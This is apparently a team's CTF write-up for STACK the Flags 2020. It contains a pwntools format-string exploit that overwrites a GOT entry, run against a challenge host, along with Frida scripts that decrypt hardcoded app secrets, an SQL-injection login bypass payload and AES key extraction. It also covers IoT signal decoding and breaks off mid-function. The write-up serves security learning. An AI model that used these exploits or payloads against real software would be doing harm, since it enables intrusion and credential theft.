STACK the Flags 2020

Binary Exploitation

Beta reporting system

The developer working for COViD that we arrested refused to talk, but we found a program that he was working on his laptop. His notes have led us to the server where the beta is currently being hosted. It is likely that there are bugs in it as it is a beta.

Running the binary provided presents us with menu options to create and retrieve reports:

***************************
COVID Beta Case Reporting System
***************************
1. Make a new report summary
2. View Report
3. Delete Report
5. Quit
***************************
Enter your choice:
1
Please enter the description of the report:
test description
Report created. Report ID is 1

***************************
COVID Beta Case Reporting System
***************************
1. Make a new report summary
2. View Report
3. Delete Report
5. Quit
***************************
Enter your choice:
2
Please enter your name:
my name
Welcome my name!
Please enter report number or press 0 to return to menu:
1
Report details:
test description

Decompiling it dosen't present any obvious vulnerability. However, after missing a format string vulnerability in a previous CTF, I've taken to explicitly testing for it.

Oh hey:

***************************
COVID Beta Case Reporting System
***************************
1. Make a new report summary
2. View Report
3. Delete Report
5. Quit
***************************
Enter your choice:
1
Please enter the description of the report:
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Report created. Report ID is 1

***************************
COVID Beta Case Reporting System
***************************
1. Make a new report summary
2. View Report
3. Delete Report
5. Quit
***************************
Enter your choice:
2
Please enter your name:
1
Welcome 1!
Please enter report number or press 0 to return to menu:
1
Report details:
0x8 0xf7f12580 0xf7e1ef07 0xf7f12d20 0x13 0x1 0x4 0xf7000031 0xa31 0x1 0xf7000031 0x1 0xf7f12d67 0x1 0xf7da7cbb 0x1 0x8048e40 0x13 0xf7f12d20 0xf7f12d67 0xf7f12d67 0xf7f12f20
Please enter report number or press 0 to return to menu:

Look at that! Although the report was created with the description of  %p..., when printed, we see a bunch of memory addresses instead. Lets decompile the relevant functions:

void makeareport(void) {
  puts("Please enter the description of the report:");
  comment = malloc(500);
  read(0,comment,500);
  *(int *)(reportlist + reporttotalnum * 8 + 4) = reporttotalnum + 1;
  *(void **)(reportlist + reporttotalnum * 8) = comment;
  printf("Report created. Report ID is %d\n",reporttotalnum + 1);
  reporttotalnum = reporttotalnum + 1;
  return;
}

undefined4 viewreport(void) {
  size_t sVar1;
  int in_GS_OFFSET;
  int local_124;
  uint local_120;
  char local_11c [4];
  char local_118 [8];
  char local_110 [256];
  int local_10;
  
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  local_124 = -1;
  puts("Please enter your name: ");
  fgets(local_110,0x100,stdin);
  sVar1 = strcspn(local_110,"\n");
  local_110[sVar1] = '\0';
  printf("Welcome %s!\n",local_110);
  local_120 = 0;
  while (local_120 < 4) {
    local_11c[local_120] = local_110[local_120];
    local_120 = local_120 + 1;
  }
  while (local_124 != 0) {
    puts("Please enter report number or press 0 to return to menu: ");
    fgets(local_118,8,stdin);
    local_124 = atoi(local_118);
    if ((local_124 < 0) || (reporttotalnum < local_124)) {
      puts("invaild report number\n");
    }
    else {
      if (local_124 == 0) {
        puts("Returning to menu!");
      }
      else {
        puts("Report details: ");
        printf(*(char **)(reportlist + (local_124 + -1) * 8));
      }
    }
  }
  if (local_10 == *(int *)(in_GS_OFFSET + 0x14)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Although that looks terrible, lets break the functions down:

makeareport allocates 500 bytes on the heap and reads from stdin into this heap buffer. This buffer is then stored in reportlist.

viewreport prompts the user for their name and reads 256 bytes into a buffer on the stack and echoes the name. The user is then prompted for the report number and the report is displayed. Since the string is passed directly to the first parameter of printf on Line 47, a format string vulnerability is exploitable here.

Format String Vulnerabilities

Lets take a look at how we can exploit this. Firstly, why was %p... printed as a bunch of memory addresses even though we see on Line 47 that only one parameter is passed to printf? Conventionally, we would call something like printf("Count :%d", currentCount), but our example does not provide subsequent arguments to print.

Well, when a function is called, its arguments are pushed onto the stack (slightly more complex for a 64 bit binary, but beta_reporting is a 32 bit binary). This means that printf("Count :%d", currentCount) becomes:

  1. Push currentCount onto the stack
  2. Push address of "Count :%d" onto the stack
  3. Call printf

The stack thus looks like:

<data>
currentCount
Address of "Count :%d"
return address after printf

printf then reads the value of currentCount from the stack to print.

What happens if we execute printf("Count :%d") then? Since we don't push any actual int to the stack, printf actually prints contents earlier in the stack!

This idea of passing a specially crafted format string such that we operate on prior data can be combined with %n :

The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

As such, if we create a format string that writes out characters, then utilise %n to write to a location specified by a pointer on the stack, we actually have an arbitrary write!

Plan of Attack

Now how do we actually get our flag? There is two parts to this: we note the existence of magicfunction (which we can access through 4 from the menu), and the existence of unknownfunction (that is not called at all):

void magicfunction(void) {
  magic._0_4_ = 0x67616c66;
  return;
}

void unknownfunction(void) {
  int __fd;
  int in_GS_OFFSET;
  undefined local_2f [31];
  undefined4 local_10;
  
  local_10 = *(undefined4 *)(in_GS_OFFSET + 0x14);
  __fd = open((char *)&magic,0);
  read(__fd,local_2f,0x1f);
  close(__fd);
  printf("%s",local_2f);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

We see that magicfunction writes "flag" into magic. Conveniently, unknownfunction opens and prints the contents of the file named magic. This means that one course of action we can take is to call magicfunction then unknownfunction somehow.

Global Offset Table

To call unknownfunction, one solution is to use the format string vulnerability identified earlier to write to the Global Offset Table (GOT). The GOT contains the addresses of external symbols like the standard C functions printf, puts, putchar, exit etc. If we overwrite the GOT entry of one of these functions, say, putchar with the address of unknownfunction, when our program calls putchar, unknownfunction will actually be called.

See this for more info on the Global Offset Table.

Putting it all together

To use the format string vulnerability to overwrite putchar@got, we run into an issue: the report that we display is saved into the heap, but we need to put a pointer to putchar@got on the stack in order to write to it.

The solution to this is to make use of the convenient request for the user's name to write the pointer to the stack.

We can use pwntools to create and execute this attack, dumping the payload into both the format string and name field. Note the offset of 11 was roughly estimated by putting a string like AAAA into name then manually checking which position it was printed at, though it can also be bruteforced through trial and error.

from pwn import *

FNAME = "beta_reporting"

# r = process(FNAME)
r = remote("yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg", 30121)
e = ELF(FNAME)

r.sendlineafter("choice:", "4") # call magicfunction
r.sendlineafter("choice:", "1") # create new report

payload = fmtstr_payload(11, {
    e.got["putchar"]: e.symbols["unknownfunction"]
})

r.sendlineafter("report:", payload) # create new report with payload

r.sendlineafter("choice:", "2") # view report
r.sendlineafter("name:", payload) # dump same payload into name, so that when it executes from printf, it finds the appropriate pointer target on the stack

r.sendlineafter("menu:", "1") # execute payload
r.sendlineafter("menu:", "0") # trigger call to putchar

r.interactive()

Running this results in

$ python solve.py
[+] Opening connection to yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg on port 30121: Done
[*] '/home/justin/stf2020/pwn1/beta_reporting'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode

Returning to menu!
govtech-csg{c0v1d_5y5tem_d0wn!}

Internet of Things

COVID's Communication Technology!

We heard a rumor that COVID was leveraging that smart city's 'light' technology for communication. Find out in detail on the technology and what is being transmitted.

We're given iot-challenge-1.logicdata which we can open with Saleae Logic (I believe you have to use version 1.x). Opening it, we see a single channel:

Zooming in, we can see that the pulses have a base frequency of 38kHz - a very good hint that these are NEC IR pulses. Sadly, Saleae Logic does not have a built-in decoder for NEC IR, and the few plugins available online did not work for us.

We resorted to exporting the signal as a CSV file, then parsing it based on the protocol specification:

import csv

def within(x, y):
    return abs(x-y) < 100e-6

def is_lead(pulse):
    return within(pulse[0], 9e-3) and within(pulse[1], 4.5e-3)

def is_low(pulse):
    return within(pulse[0], 562.5e-6) and within(pulse[1], 562.5e-6)

def is_high(pulse):
    return within(pulse[0], 562.5e-6) and within(pulse[1], 1.6875e-3)

with open('iot1.csv', newline='') as csvfile:
    reader = csv.reader(csvfile)
    # drop header
    next(reader)

    start = None
    data = [(float(row[0]), int(row[1][1:])) for row in reader]

    out = []
    for i, row in enumerate(data):
        if i+1 == len(data):
            break
        
        time, state = row
        nTime, nState = data[i+1]

        if start is None:
            if state == 1:
                start = time
        else:
            if (nTime - time) > 30e-6 and state == 0 and nState == 1:
                width = time - start
                out.append((width, nTime - time))
                start = None

i = 0
byte_vals = []
while True:
    if i >= len(out):
        break
    if not is_lead(out[i]):
        i += 1
        continue
    i += 1

    block = []
    for b in range(4):
        byte_val = 0
        for bit in range(8):
            if is_high(out[i]):
                byte_val |= (1 << (7-bit))
            else:
                assert(is_low(out[i]))
            i += 1
        block.append(byte_val)
    
    byte_vals.append(block)

print(byte_vals)

Taking a look at the decoded data:

[0, 255, 103, 111], [0, 255, 118, 116], [0, 255, 101, 99], [0, 255, 104, 45], [0, 255, 99, 115], [0, 255, 103, 123], [0, 255, 73, 110], [0, 255, 102, 114], [0, 255, 97, 82], [0, 255, 69, 68], [0, 255, 95, 50], [0, 255, 48, 50], [0, 255, 48, 95], [0, 255, 67, 84], [0, 255, 102, 33], [0, 255, 64, 125]

Oddly enough, the third and forth bytes are supposed to be the bitwise inverse of each other (but are not). A quick look at the ASCII table (and yes, its very useful to memorise the first few characters of the flag format in both decimal and hex) suggests that both the third and forth bytes contain the flag:

o = ""
for v in byte_vals:
    o+= chr(v[2])
    o += chr(v[3])

print(o)

which gives

govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_

I Smell Updates

Agent 47, we were able to retrieve the enemy's security log from our QA technician's file! It has come to our attention that the technology used is a 2.4 GHz wireless transmission protocol. We need your expertise to analyse the traffic and identify the communication between them and uncover some secrets! The fate of the world is on you agent, good luck.

We're given a packet capture of Bluetooth communication. A quick scroll through highlights something interesting:

I spy the header of an ELF file

There is almost definitely a more elegant way of extracting this data, but to extract this binary, we:

  1. Right clicked on Value, select "Apply as column"
  2. File > Export Packet Dissections > As CSV
  3. Used a short script to parse and smush everything together
import csv

with open('iot_updates.csv', newline='') as csvfile:
    reader = csv.reader(csvfile)
    next(reader)
    next(reader)
    out = ""
    for row in reader:
        out += row[6]

print(out)

We get an ARM binary:

$ file firmware.bin
firmware.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=d73f4011dd87812b66a3128e7f0cd1dcd813f543, not stripped

Making use of QEMU to run the binary, we quickly realise its a binary checking for a specific password.

Decompiled:

char s; // [sp+54h] [bp-20h]
unsigned __int8 v20; // [sp+55h] [bp-1Fh]
unsigned __int8 v21; // [sp+56h] [bp-1Eh]
unsigned __int8 v22; // [sp+57h] [bp-1Dh]
unsigned __int8 v23; // [sp+58h] [bp-1Ch]
unsigned __int8 v24; // [sp+59h] [bp-1Bh]
unsigned __int8 v25; // [sp+5Ah] [bp-1Ah]
unsigned __int8 v26; // [sp+61h] [bp-13h]
char v27; // [sp+62h] [bp-12h]
char v28; // [sp+63h] [bp-11h]
int v29; // [sp+64h] [bp-10h]

strcpy(&v16, "Sorry wrong secret! An alert has been sent!");
v17 = 0;
v18 = 0;
strcpy(&v13, "Authorised!");
v14 = 0;
v15 = 0;
printf("Secret?");
fgets(&s, 10, (FILE *)stdin);
if ( strlen(&s) != 8 )
{
  puts(&v16);
  exit(0);
}
v28 = 105;
v29 = 0;
v3 = (unsigned __int8)s;
v4 = strlen(&s);
if ( v3 == magic((unsigned __int8)(v28 - v4)) )
  ++v29;
v5 = v20;
if ( v5 == magic((unsigned __int8)(v28 ^ 0x27)) )
  ++v29;
v6 = v21;
if ( v6 == magic((unsigned __int8)(v28 + 11)) )
  ++v29;
v7 = v22;
if ( v7 == magic((unsigned __int8)(2 * v20 - 51)) )
  ++v29;
v8 = v23;
if ( v8 == magic(66) )
  ++v29;
v9 = v24;
if ( v9 == magic((unsigned __int8)(8 * (v29 - 1)) | 1) )
  ++v29;
v27 = v23 + v24 + v22;
v26 = (v27 ^ (v22 + v24 + 66)) + 101;
v10 = v25;
if ( v10 == magic(v26) )
  ++v29;
if ( v29 == 7 )
  puts(&v13);
else
  puts(&v16);

Since the if statements are comparing directly against the output of magic (ie the input is not manipulated before being compared), the output of magic is the correct input.

During the CTF, I reimplemented magic and executed it:

#include <stdio.h>
#include <stdint.h>

int magic4(uint8_t a1) {
  uint8_t v2 = a1;
  int v3 = 0;

  while(v3 <= 2) {
    ++ v3;
    --v2;
  }

  return v2;
}

int sum(int a1, int a2) {
  return -a2;
}

int magic3(uint8_t a1) {
  uint8_t v1 = magic4(a1);
  return (uint8_t) (v1 - sum(v1, 1));
}

int mod(char a1) {
  if (a1)
    return 1;
  else
    return 66;
}

int magic2(uint8_t a1) {
  char v1 = magic3(a1);
  return (uint8_t) (mod(v1) + v1);
}

int min(int a1, int a2) {
  int v2;
  if ( a1 <= a2 )
    v2 = a2 % 2 + 1;
  else
    v2 = a1 - a2;
  return v2;
}

int magic(uint8_t a1) {
  char v1;
  v1 = magic2(a1);
  return (uint8_t) (min(3, 2) + v1);
}

void main() {
  char v28 = 105;
  char v4 = 8;
  int v29 = 0;

  char s = magic(v28 - v4);
  ++v29;
  char v20 = magic(v28 ^ 0x27);
  ++v29;
  char v21 = magic(v28 + 11);
  ++v29;
  char v22 = magic(2 * v20 - 51);
  ++v29;
  char v23 = magic(0x42u);
  ++v29;
  char v24 = magic(8 * (v29 - 1) | 1);
  ++v29;
  char v27 = v23 + v24 + v22;
  uint8_t v26 = (v27 ^ (v22 + v24 + 66)) + 101;
  char v25 = magic(v26);

  printf("%c%c%c%c%c%c%c\n", s, v20, v21, v22, v23, v24, v25);
  printf("%d %d %d %d %d %d %d\n", s, v20, v21, v22, v23, v24, v25);
}

However, while writing this, I realise it would be far easier to just debug the binary and note down the output values of magic as the comparisons are made. While its entirely possible to setup gdb for use with QEMU, another "quicker" option might be to run the binary directly on an ARM device like a Raspberry Pi.

The valid token, aNtiB!e, is the flag once wrapped with the flag format: govtechh-csg{aNtiB!e}

IOT RSA Token

We were able to get our hands on a RSA token that is used as 2FA for a website. From the token, we sniffed some data (capture.logicdata) and took some photos of the token. Lastly, we found a key written at the back of the token, the contents of which we placed into key.txt. Unfortunately, we dropped the token in the toilet bowl and it is no longer working. Using the data sniffed and the photos (rsa_token_setup.png and welcome_msg.png) taken, make sense of the data that is displayed on the rsa token, help us predict what the next rsa token will be!

This is only a partial writeup about how to extract the data displayed on the LCD.

Image provided as part of challenge

Immediately from this image, we can conclude two things:

  1. We're dealing with a 16x2 LCD driven by a HD44780 (or some compatible chip)
  2. We're dealing with some form of I2C-based LCD backpack, possibly a PCF8574

Driving LCDs

To drive a HD44780-based LCD, there are a few signals we need to consider (Page 8 of the datasheet):

  • R/W: 0 for write, 1 for read. For simplicity, since reading is not necessary for operation, this line is usually continuously set to 0
  • RS: 0 to write instruction (configuration), 1 to write data (characters)
  • E: starts data r/w on falling edge (ie when E goes from 1 to 0. Note I refer to this signal as EN
  • DB4-DB7: data pins (4 bit mode, the most common mode used). Note I refer to these signals as D4-D7

Although strictly speaking the LCD module has other pins for functions like controlling the backlight, we don't have to consider them.

A quick count of the signals above suggests we need at least 7 pins ( R/W grounded) to drive the LCD. To reduce the number of GPIO pins needed (microcontrollers have limited GPIO), I2C port expanders like the PCF8574 are used. Rather than requiring 7 pins for a single LCD, we now require only 2 pins - a microcontroller can communicate with the port expander over I2C (2 pins), which will then control 8 pins.

The schematic above illustrates what I believe is the pinout used by the I2C expander in this challenge. For example, if the microcontroller writes 0x34 to the PCF8574, the pin states would be as follows:

D7 = 0
D6 = 0
D5 = 1
D4 = 1
EN = 1
RS = 0

These HD44780 LCDs are also most commonly driven in 4 bit mode: meaning that to write for example, 0x6E, two writes of 0x6 and 0xE are made.

Decoding I2C signals

Opening the logic analyser trace, we see:

We can guess that Channel 0 is sampling SCL, while Channel 1 is sampling SDA. SDA and SCL are the two signals of a I2C bus, commonly used for communication between devices on the same board.

We can then configure Saleae Logic's I2C analyser with these settings:

The image above shows two I2C operations, with each consisting of:

  1. Setup phase: selecting which device to write to. The PCF8574 discussed here is configured for address 0x4E.
  2. Write data

Since bit 0, RS is 0 and bit 3, EN is a falling edge (the position of RS and EN was determined by trial and error and observing patterns, alternatively, trying the common configuration presented here would also have worked), the two operations above perform a single write to the LCD to configure it in 8 bit mode ( 0x20 = function set, 0x10 = 8 bit). This can be verified by following the LCD writes that this function makes.

Putting it together

Rather than decoding this by hand, the data was exported (in binary mode) and parsed with a script. Since we're only interested in the data displayed, we just have to consider data written (ie EN has a falling edge) when RS=1 (ie character data).

import re
import csv

"""
looks like its
note that the LA output is flipped
D4 D5 D6 D7 RS ?? EN ??
"""

RS = 3
EN = 1

# track number of writets
# first 4 writes are 4 bits, everything else 8 bits
writes = 0
written = []
with open('i2c.csv', newline='') as csvfile:
    reader = csv.reader(csvfile)
    next(reader)
    
    prev = ("xxxx", "xxxx")
    prevWritten = None
    for i, row in enumerate(reader):
        data = row[2]
        if "Setup Write" in data:
            assert(data == "Setup Write to [0b  0100  1110] + ACK")
            continue
        
        m = re.match("0b\s+([01]{4})\s+([01]{4}) +", data)
        bits = (m.group(1) + m.group(2))
        ctrl = bits[4:8]
        data = bits[0:4]
        # print(f'{ctrl=}: data={data}')

        prevCtrl, prevData = prev
        if data == prevData:
            if ctrl[EN] == "0" and prevCtrl[EN] == "1": # if falling edge on EN
                if writes >= 4:
                    # all writes after first 4 are 8 bits, MSB first
                    if prevWritten != None:
                        data = prevWritten + data # reassemble full byte from two nibbles
                        # print(f'write {data} {ctrl=}')
                        written.append((ctrl, data))
                        prevWritten = None
                    else:
                        # partial write, wait for next nibble
                        prevWritten = data

                writes += 1


        prev = (ctrl, data)

out = ""
for wr in written:
    ctrl, data = wr
    # print(f'{ctrl=} {data=}')
    if ctrl[RS] == "1": # Data Register
        out += chr(int(data, 2))

print(out)

This outputs:

govtech ctf  welcome to iot  username:  govtechstack  password:    G0vT3cH!3sP@$$w0rD key: deeda1137ab01202  Qns of the day ?????????????? When was govtech founded? p.s the time was 9:06:50 GMT+08 09/11/20 10:44:50       461177 09/11/20 10:45:50       107307 09/11/20 10:46:50       233790 09/11/20 10:47:50       722277

Mobile

Many of the solutions here make heavy use of Frida with reference to https://android.jlelse.eu/hacking-android-app-with-frida-a85516f4f8b7 and https://neo-geo2.gitbook.io/adventures-on-security/frida-scripting-guide/methods. Frida was used to modify the state of the app running on the Android Emulator packaged with Android Studio.

Additionally, its often not obvious which Activity tallies with the challenge - during the CTF, this was resolved by testing flags on all available challenges until we find a match :)

The apk provided was decompiled with jadx. Activities (Java) are found in sources/sg/gov/tech/ctf/mobile/, while the native library examined (C) is found in resources/lib/x86_64/libnative-lib.so (the x86_64 library is analysed but they should all have the same functionality).

Korovax way to protect yourself!

Nope! Korovax do not provide self-defence classes but Korovax has learnt about the deadly COViD and came out several ways to protect their members! Well... does Korovax truly protect their members?
public String f2969b = "fFFFx2ezHvklL5t3ViKP2qQtj4oGwL1zL7Ln5rKNafM=";

public native String getKey();

public native String getSalt();

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView((int) R.layout.covidinfo_activity);
    getWindow().setFlags(1024, 1024);
    getWindow().setSoftInputMode(32);
    ((Button) findViewById(R.id.button_submit)).setOnClickListener(new a(Encryption.getDefault(getKey(), getSalt(), new byte[16])));
}

public class a implements View.OnClickListener {
    /* renamed from: b  reason: collision with root package name */
    public final /* synthetic */ Encryption f2970b;

    public a(Encryption encryption) {
        this.f2970b = encryption;
    }

    public void onClick(View v) {
        if (this.f2970b.encryptOrNull(((EditText) CovidInfoActivity.this.findViewById(R.id.editText_enteredFlag)).getText().toString()).replaceAll("\\n", BuildConfig.FLAVOR).equalsIgnoreCase(CovidInfoActivity.this.f2969b)) {
            c.a builder = new c.a(CovidInfoActivity.this);
            View view = LayoutInflater.from(CovidInfoActivity.this).inflate(R.layout.custom_alert, (ViewGroup) null);
            ((TextView) view.findViewById(R.id.title)).setText("Congrats!");
            ((TextView) view.findViewById(R.id.alert_detail)).setText("Well done!");
            f.a.a.a.a.e.b.a().d(true);
            builder.h("Proceed", new C0073a());
            builder.f("Close", new b());
            builder.k(view);
            builder.l();
            Toast.makeText(CovidInfoActivity.this.getApplicationContext(), "Flag is correct!", 0).show();
            return;
        }
        Toast.makeText(CovidInfoActivity.this.getApplicationContext(), "Flag is wrong!", 0).show();
    }
    ...
}
sg.gov.tech.ctf.mobile.Info.CovidInfoActivity

A few things are done here:

  1. On activity load, an instance of Encryption is created with getKey() and getSalt()
  2. On button click, user input is encrypted and compared to "fFFFx2ezHvklL5t3ViKP2qQtj4oGwL1zL7Ln5rKNafM="

It turns out that the decryption equivalent of Encryption.encryptOrNull also exists - Encryption.decrypt. As such, we can just use Frida to tamper with the apk running in an emulator, executing the following file with frida -U <pid of the app> -l protect.js:

Java.perform(function () {
  Java.scheduleOnMainThread(function () {
    const Activity = Java.use("sg.gov.tech.ctf.mobile.Info.CovidInfoActivity");
    const act = Activity.$new();

    const Encryption = Java.use("se.simbio.encryption.Encryption");
    const enc = Encryption.getDefault(
      act.getKey(),
      act.getSalt(),
      Java.array("byte", new Array(16).fill(0))
    );

    const String = Java.use("java.lang.String");
    console.log(
      enc.decrypt(String.$new("fFFFx2ezHvklL5t3ViKP2qQtj4oGwL1zL7Ln5rKNafM="))
    );
  });
});
protect.js

resulting in govtech-csg{1 Am Ir0N m@N}

A to Z of COViD!

Over here, members learn all about COViD, and COViD wants to enlighten everyone about the organisation. Go on, read them all!

Taking a look at sg.gov.tech.ctf.mobile.Info.AtoZCovid, we see an interesting chunk of code:

case 42:
    new BottomSheetDialogEdit("Put the flag here").e(getSupportFragmentManager(), "ModalBtmSheetEdit");
    return;

Lets take a look at BottomSheetDialogEdit then:

int flagStatus = BottomSheetDialogEdit.this.secretFunction2(enteredFlagString, enteredFlagString.length());
            if (flagStatus == 0) {
                Toast.makeText(BottomSheetDialogEdit.this.getContext(), "Password is correct!", 0).show();
                ...
sg.gov.tech.ctf.mobile.Info.BottomSheetDialogEdit
signed __int64 __fastcall Java_sg_gov_tech_ctf_mobile_Info_BottomSheetDialogEdit_secretFunction2(__int64 a1, __int64 a2, __int64 a3, int a4)
{
  int v4; // er15
  unsigned int v5; // ebx
  __int64 v6; // rax
  __int64 v7; // rbp
  char *v8; // r13
  signed __int64 result; // rax
  __int128 v10; // [rsp+0h] [rbp-138h]
  ...snip
  __int128 v25; // [rsp+F0h] [rbp-48h]
  unsigned __int64 v26; // [rsp+100h] [rbp-38h]

  v4 = a4;
  v26 = __readfsqword(0x28u);
  v5 = 0;
  v6 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0LL);
  if ( v4 <= 0 )
    return 1LL;
  v7 = v6;
  v8 = (char *)malloc(v4);
  xmmword_44200 = xmmword_354C0;
  xmmword_44210 = xmmword_354D0;
  v25 = 0LL;
  ...snip
  v10 = 0LL;
  aes_key_setup(&xmmword_44200, &v10, 256LL);
  do
  {
    aes_encrypt(v5 + v7, &v8[v5], &v10, 256LL);
    v5 += 16;
  }
  while ( (signed int)v5 < v4 );
  if ( !memcmp(v8, &unk_44030, v4) )
    result = 0LL;
  else
    result = (unsigned int)((unsigned int)memcmp(v8, &unk_44050, v4) < 1) + 1;
  return result;
}
Native Library: secretFunction2

This does the following:

  1. AES encrypt the user input in chunks of 16 with the 256 bit key starting at xmmword_354C0 (this is also known as ECB mode)
  2. Compare the output with unk_44030 and return successful if equivalent

We can simply use xmmword_354C0 to decrypt unk_44030:

from Crypto.Cipher import AES

a = AES.new(bytes([0x2c, 0xd1, 0x00, 0xd4, 0x65, 0x84, 0x5d, 0x6f, 0x8b, 0x5c, 0x5f, 0x9d,
        0x06, 0xf9, 0x36, 0xc5, 0xb7, 0x37, 0xa3, 0xa4, 0xbd, 0xc2, 0x80, 0xc2,
        0xad, 0x21, 0x3f, 0xc2, 0xc6, 0xcf, 0x9d, 0x86]), AES.MODE_ECB)
print(a.decrypt(bytes([0x64, 0x55, 0x20, 0xde, 0x2c, 0xce, 0x85, 0xa4, 0xf9, 0xf7, 0xaf, 0xdc,
        0x0a, 0x6c, 0xca, 0xe5, 0xcd, 0xec, 0x28, 0x85, 0x03, 0x17, 0x0d, 0x4d,
        0xf8, 0x88, 0x63, 0xb3, 0xf6, 0xed, 0xec, 0x7e])))

Of course, seeing the flag of govtech-csg{N3@t_1nT3nTs_R1gHt?} suggests that that the following is relevant...

public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
    String flag;
    View v = inflater.inflate(R.layout.modal_bottom_sheet_edit, container, false);
    this.n = (TextView) v.findViewById(R.id.modal_title);
    this.o = (EditText) v.findViewById(R.id.modal_editText);
    this.p = (Button) v.findViewById(R.id.submit_btn);
    this.n.setText(this.m);
    this.o.setText((CharSequence) null);
    String key = getActivity().getIntent().getStringExtra("key");
    if (key == null) {
        flag = secretFlag();
    } else {
        String fileDir = getActivity().getFilesDir().toString();
        flag = secretFunction(key, fileDir + "/encFlag");
    }
    this.n.setText(flag);
    this.p.setOnClickListener(new a());
    return v;
}
sg.gov.tech.ctf.mobile.Info.BottomSheetDialogEdit

Welcome to Korovax Mobile!

To be part of the Korovax team, do you really need to sign up to be a member?

SQL injection on the user login page with user and ' OR 1=1; #:

We can trace this from sg.gov.tech.ctf.mobile.User.AuthenticationActivity to f.a.a.a.a.e to f.a.a.a.a.c.a:

public String e(String username, String password, SQLiteDatabase sqLiteDatabase) {
    String password2 = password.toUpperCase();
    String ret = "none";
    try {
        Cursor cursor = sqLiteDatabase.rawQuery(d("SELECT * FROM Users WHERE username= '" + username + "' AND " + "password" + " = '" + password2 + "';"), (String[]) null);
        if (cursor == null || !cursor.moveToFirst() || cursor.getColumnCount() <= 0) {
            cursor.close();
            sqLiteDatabase.close();
            return ret;
        }
        String ret2 = BuildConfig.FLAVOR;
        return ret2 + cursor.getString(1);
    } catch (Exception e2) {
        ret = "Not a valid query!";
    }
}

When we submit a password of ' OR 1=1; #, the query becomes SELECT * FROM Users WHERE username= 'user' AND password = '' OR 1=1; #';. This is a basic SQL injection attack, resulting in the query always returning the row with user.

True or false?

True or false, we can log in as admin easily.

Oops. Decode the string by copying the contents of c.a.a.a and its dependencies and executing it, heres the flag.

Based on the contents of the flag (and the hint when "Forget Password?" is clicked, the intended solution should be to perform a blind SQL injection (ie injection where you don't have any output printed) to recover the flag.

What's with the Search!

There is an admin dashboard in the Korovax mobile. There aren't many functions, but we definitely can search for something!
public native String getPasswordHash();

public void onClick(View v) {
    AdminHome adminHome = AdminHome.this;
    adminHome.f2932e = (EditText) adminHome.findViewById(R.id.editText_enteredFlag);
    if (AdminHome.this.b(AdminHome.this.c(AdminHome.this.f2932e.getText().toString())).equalsIgnoreCase(AdminHome.this.f2929b)) {
        c.a builder = new c.a(AdminHome.this);
        View view = LayoutInflater.from(AdminHome.this).inflate(R.layout.custom_alert, (ViewGroup) null);
        ((TextView) view.findViewById(R.id.title)).setText("Congrats!");
        ((TextView) view.findViewById(R.id.alert_detail)).setText("Add govtech-csg{} to what you found!");
        builder.h("Proceed", new a());
        builder.f("Close", new b());
        builder.k(view);
        builder.l();
        Toast.makeText(AdminHome.this.getApplicationContext(), "Flag is correct!", 0).show();
        return;
    }
    Toast.makeText(AdminHome.this.getApplicationContext(), "Flag is wrong!", 0).show();
}
sg.gov.tech.ctf.mobile.Admin.AdminHome

getPasswordHash() returns 01b307acba4f54f55aafc33bb06bbbf6ca803e9a, which we can throw into any of the hash lookup tools like CrackStation to find out its sha1(1234567890). The flag is thus govtech-csg{1234567890}.

Network

Just how many times do we have to log in! Web has one, now mobile too?

Taking a look at NetworkActivity, we find some odd bits of code:

public String f2943e = "yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg";
public String f2944f = "41061";
public String f2945g = ("http://" + this.f2943e + ":" + this.f2944f + "/api/login");

public native byte[] messy(int i, int i2);
public void onClick(View v) {
    NetworkActivity networkActivity = NetworkActivity.this;
    networkActivity.d(networkActivity.f2940b.getText().toString(), NetworkActivity.this.f2941c.getText().toString(), NetworkActivity.this.f2945g);
    NetworkActivity networkActivity2 = NetworkActivity.this;
    networkActivity2.c(networkActivity2.f2940b.getText().toString(), NetworkActivity.this.f2941c.getText().toString());
}

public void d(String username, String password, String url) {
    try {
        List<String> response = new f.a.a.a.a.a.b(url, SQLiteDatabase.KEY_ENCODING, username, password).a();
        Log.v("rht", "SERVER REPLIED:");
        for (String line : response) {
            Log.v("rht", "Line : " + line);
        }
    } catch (IOException e2) {
        e2.printStackTrace();
    }
}

public void c(String username, String password) {
    String hexUserVal = e(username);
    String hexPassVal = e(password);
    String hexUserVal2 = b(hexUserVal);
    String hexPassVal2 = b(hexPassVal);
    int numberOfParts = hexUserVal2.length() / 8;
    String[] tokens = new String[numberOfParts];
    for (int i = 1; i <= numberOfParts; i++) {
        tokens[i - 1] = hexUserVal2.substring((i - 1) * 8, i * 8);
    }
    String fullEnc = BuildConfig.FLAVOR;
    for (String parseInt : tokens) {
        fullEnc = fullEnc + bytesToHex(messy(a(Integer.parseInt(parseInt, 16), 8), 8));
    }
}

public int a(int flag, int count) {
    return (flag >> count) | (flag << (32 - count));
}
sg.gov.tech.ctf.mobile.Admin.NetworkActivity

To summarise:

  1. d makes a request to the same web server as Web - Logged In, but the output is just logged - nothing useful is done with it.
  2. c seems to encode a username and password with messy after rotating with a

Taking a quick look at messy:

memset(v9, 0, v8);
*v9 = v7;
v15 = v7 ^ 0xAC;
v14 = BYTE1(v7) ^ 0x23;
v13 = BYTE2(v7) ^ 0x18;
